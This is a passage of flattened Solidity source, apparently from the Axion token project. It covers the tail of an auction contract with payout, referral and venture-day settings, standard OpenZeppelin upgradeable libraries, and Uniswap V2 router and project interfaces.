> uniswapPayoutWithPercent) { return uniswapPayoutWithPercent; } else { return payout; } } /** Determine payout based on amount of token and ethereum @param auctionId {uint256} - auction to determine payout of @param amount {uint256} - amount of axion */ function _calculatePayout(uint256 auctionId, uint256 amount) internal view returns (uint256) { return amount.mul(reservesOf[auctionId].token).div( reservesOf[auctionId].eth ); } /** Get Percentages for recipient and uniswap for ethereum bid Unnecessary function */ function _calculateRecipientAndUniswapAmountsToSend() private returns (uint256, uint256) { uint256 toRecipient = msg.value.mul(20).div(100); uint256 toUniswap = msg.value.sub(toRecipient); return (toRecipient, toUniswap); } /** Determine amount of axion to mint for referrer based on amount @param amount {uint256} - amount of axion @return (uint256, uint256) */ function _calculateRefAndUserAmountsToMint(uint256 amount) private view returns (uint256, uint256) { uint256 toRefMintAmount = amount.mul(options.referrerPercent).div(100); uint256 toUserMintAmount = amount.mul(options.referredPercent).div(100); return (toRefMintAmount, toUserMintAmount); } /** Save auction data Determines if auction is over. If auction is over set lastAuctionId to currentAuctionId */ function _saveAuctionData() internal { uint256 currentAuctionId = getCurrentAuctionId(); AuctionReserves memory reserves = reservesOf[lastAuctionEventId]; if (lastAuctionEventId < currentAuctionId) { emit AuctionIsOver( reserves.eth, reserves.token, lastAuctionEventId ); lastAuctionEventId = currentAuctionId; } } function initialize(address _manager, address _migrator) public initializer { _setupRole(MANAGER_ROLE, _manager); _setupRole(MIGRATOR_ROLE, _migrator); init_ = false; } /** Public Setter Functions */ function setReferrerPercentage(uint256 percent) external onlyManager { options.referrerPercent = percent; } function setReferredPercentage(uint256 percent) external onlyManager { options.referredPercent = percent; } function setReferralsOn(bool _referralsOn) external onlyManager { options.referralsOn = _referralsOn; } function setAutoStakeDays(uint256 _autoStakeDays) external onlyManager { options.autoStakeDays = _autoStakeDays; } function setVentureAutoStakeDays(uint8 _autoStakeDays) external onlyManager { ventureAutoStakeDays = _autoStakeDays; } function setDiscountPercent(uint256 percent) external onlyManager { options.discountPercent = percent; } function setPremiumPercent(uint256 percent) external onlyManager { options.premiumPercent = percent; } function setMiddlePriceDays(uint256 _middleDays) external onlyManager { middlePriceDays = _middleDays; } /** Roles management - only for multi sig address */ function setupRole(bytes32 role, address account) external onlyManager { _setupRole(role, account); } /** VCA Setters */ /** @param _day {uint8} 0 - 6 value. 0 represents Saturday, 6 Represents Friday @param _mode {uint8} 0 or 1. 1 VCA, 0 Normal */ function setAuctionMode(uint8 _day, uint8 _mode) external onlyManager { auctions[_day].mode = _mode; } /** @param day {uint8} 0 - 6 value. 0 represents Saturday, 6 Represents Friday @param coins {address[]} - Addresses to buy from uniswap @param percentages {uint8[]} - % of coin to buy, must add up to 100% */ function setTokensOfDay( uint8 day, address[] calldata coins, uint8[] calldata percentages ) external onlyManager { AuctionData storage auction = auctions[day]; auction.mode = 1; delete auction.tokens; uint8 percent = 0; for (uint8 i; i < coins.length; i++) { auction.tokens.push(VentureToken(coins[i], percentages[i])); percent = percentages[i] + percent; IStaking(addresses.staking).addDivToken(coins[i]); } require( percent == 100, 'AUCTION: Percentage for venture day must equal 100' ); } /** Getter functions */ function auctionsOf_(address account) external view returns (uint256[] memory) { return auctionsOf[account]; } function getAuctionModes() external view returns (uint8[7] memory) { uint8[7] memory auctionModes; for (uint8 i; i < auctions.length; i++) { auctionModes[i] = auctions[i].mode; } return auctionModes; } function getTokensOfDay(uint8 _day) external view returns (address[] memory, uint256[] memory) { VentureToken[] memory ventureTokens = auctions[_day].tokens; address[] memory tokens = new address[](ventureTokens.length); uint256[] memory percentages = new uint256[](ventureTokens.length); for (uint8 i; i < ventureTokens.length; i++) { tokens[i] = ventureTokens[i].coin; percentages[i] = ventureTokens[i].percentage; } return (tokens, percentages); } function getVentureAutoStakeDays() external view returns (uint8) { return ventureAutoStakeDays; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSetUpgradeable.sol"; import "../utils/AddressUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; using AddressUpgradeable for address; struct RoleData { EnumerableSetUpgradeable.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IToken { function mint(address to, uint256 amount) external; function burn(address from, uint256 amount) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IAuction { function callIncomeDailyTokensTrigger(uint256 amount) external; function callIncomeWeeklyTokensTrigger(uint256 amount) external; function addReservesToAuction(uint256 daysInFuture, uint256 amount) external returns(uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IStaking { function externalStake( uint256 amount, uint256 stakingDays, address staker ) external; function updateTokenPricePerShare( address payable bidderAddress, address payable originAddress, address tokenAddress, uint256 amountBought ) external payable; function addDivToken(address tokenAddress) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IAuctionV1 { function auctionBetOf(uint256, address) external returns (uint256, address); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
